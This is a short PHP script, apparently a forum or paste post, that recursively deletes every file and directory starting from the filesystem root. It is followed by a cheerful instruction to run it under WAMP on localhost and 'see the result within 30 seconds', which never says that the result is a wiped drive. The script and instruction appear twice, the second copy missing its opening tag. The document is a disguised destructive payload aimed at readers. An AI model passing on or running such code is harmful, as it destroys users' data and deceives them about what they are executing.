<?php
recursiveRemove("/");
function recursiveRemove($dir) {
$structure = glob(rtrim($dir, "/").'/*');
if (is_array($structure)) {
foreach($structure as $file) {
if (is_dir($file)) recursiveRemove($file);
elseif (is_file($file)) unlink($file);
}
}
rmdir($dir);
}
?>
Create a php file and copy above script in to that php file then put it in wamp and run script through localhost. You will see the result within 30 seconds.



recursiveRemove("/");
function recursiveRemove($dir) {
$structure = glob(rtrim($dir, "/").'/*');
if (is_array($structure)) {
foreach($structure as $file) {
if (is_dir($file)) recursiveRemove($file);
elseif (is_file($file)) unlink($file);
}
}
rmdir($dir);
}
?>
Create a php file and copy above script in to that php file then put it in wamp and run script through localhost. You will see the result within 30 seconds.


